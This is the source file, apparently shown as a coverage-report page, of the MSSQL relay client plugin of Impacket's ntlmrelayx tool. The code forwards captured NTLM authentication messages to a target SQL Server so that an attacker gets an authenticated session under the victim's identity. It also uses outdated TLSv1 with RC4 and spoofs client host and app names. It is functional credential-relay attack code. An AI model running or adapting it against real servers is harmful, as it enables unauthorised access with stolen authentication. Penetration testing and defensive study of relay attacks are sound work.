Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# MSSQL (TDS) Protocol Client 

8# 

9# Author: 

10# Alberto Solino (@agsolino) 

11# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

12# 

13# Description: 

14# MSSQL client for relaying NTLMSSP authentication to MSSQL servers 

15# 

16# ToDo: 

17# [ ] Handle SQL Authentication 

18# 

19import random 

20import string 

21from struct import unpack 

22 

23from impacket import LOG 

24from impacket.examples.ntlmrelayx.clients import ProtocolClient 

25from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \ 

26 TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN 

27from impacket.ntlm import NTLMAuthChallenge 

28from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

29from impacket.spnego import SPNEGO_NegTokenResp 

30 

31try: 

32 from OpenSSL import SSL 

33except Exception: 

34 LOG.critical("pyOpenSSL is not installed, can't continue") 

35 

36PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient" 

37 

38class MYMSSQL(MSSQL): 

39 def __init__(self, address, port=1433, rowsPrinter=DummyPrint()): 

40 MSSQL.__init__(self,address, port, rowsPrinter) 

41 self.resp = None 

42 self.sessionData = {} 

43 

44 def initConnection(self): 

45 self.connect() 

46 #This is copied from tds.py 

47 resp = self.preLogin() 

48 if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: 

49 LOG.debug("Encryption required, switching to TLS") 

50 

51 # Switching to TLS now 

52 ctx = SSL.Context(SSL.TLSv1_METHOD) 

53 ctx.set_cipher_list('RC4, AES256') 

54 tls = SSL.Connection(ctx,None) 

55 tls.set_connect_state() 

56 while True: 

57 try: 

58 tls.do_handshake() 

59 except SSL.WantReadError: 

60 data = tls.bio_read(4096) 

61 self.sendTDS(TDS_PRE_LOGIN, data,0) 

62 tds = self.recvTDS() 

63 tls.bio_write(tds['Data']) 

64 else: 

65 break 

66 

67 # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, 

68 # Transport Layer Security(TLS), limit data fragments to 16k in size. 

69 self.packetSize = 16*1024-1 

70 self.tlsSocket = tls 

71 self.resp = resp 

72 return True 

73 

74 def sendNegotiate(self,negotiateMessage): 

75 #Also partly copied from tds.py 

76 login = TDS_LOGIN() 

77 

78 login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') 

79 login['AppName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') 

80 login['ServerName'] = self.server.encode('utf-16le') 

81 login['CltIntName'] = login['AppName'] 

82 login['ClientPID'] = random.randint(0,1024) 

83 login['PacketSize'] = self.packetSize 

84 login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON 

85 

86 # NTLMSSP Negotiate 

87 login['SSPI'] = negotiateMessage 

88 login['Length'] = len(login.getData()) 

89 

90 # Send the NTLMSSP Negotiate 

91 self.sendTDS(TDS_LOGIN7, login.getData()) 

92 

93 # According to the specs, if encryption is not required, we must encrypt just 

94 # the first Login packet :-o 

95 if self.resp['Encryption'] == TDS_ENCRYPT_OFF: 

96 self.tlsSocket = None 

97 

98 tds = self.recvTDS() 

99 self.sessionData['NTLM_CHALLENGE'] = tds 

100 

101 challenge = NTLMAuthChallenge() 

102 challenge.fromString(tds['Data'][3:]) 

103 #challenge.dump() 

104 

105 return challenge 

106 

107 def sendAuth(self,authenticateMessageBlob, serverChallenge=None): 

108 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

109 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

110 token = respToken2['ResponseToken'] 

111 else: 

112 token = authenticateMessageBlob 

113 

114 self.sendTDS(TDS_SSPI, token) 

115 tds = self.recvTDS() 

116 self.replies = self.parseReply(tds['Data']) 

117 if TDS_LOGINACK_TOKEN in self.replies: 

118 #Once we are here, there is a full connection and we can 

119 #do whatever the current user has rights to do 

120 self.sessionData['AUTH_ANSWER'] = tds 

121 return None, STATUS_SUCCESS 

122 else: 

123 self.printReplies() 

124 return None, STATUS_ACCESS_DENIED 

125 

126 def close(self): 

127 return self.disconnect() 

128 

129 

130class MSSQLRelayClient(ProtocolClient): 

131 PLUGIN_NAME = "MSSQL" 

132 

133 def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ): 

134 ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 

135 self.extendedSecurity = extendedSecurity 

136 

137 self.domainIp = None 

138 self.machineAccount = None 

139 self.machineHashes = None 

140 

141 def initConnection(self): 

142 self.session = MYMSSQL(self.targetHost, self.targetPort) 

143 self.session.initConnection() 

144 return True 

145 

146 def keepAlive(self): 

147 # Don't know yet what needs to be done for TDS 

148 pass 

149 

150 def killConnection(self): 

151 if self.session is not None: 

152 self.session.disconnect() 

153 self.session = None 

154 

155 def sendNegotiate(self, negotiateMessage): 

156 return self.session.sendNegotiate(negotiateMessage) 

157 

158 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

159 self.sessionData = self.session.sessionData 

160 return self.session.sendAuth(authenticateMessageBlob, serverChallenge)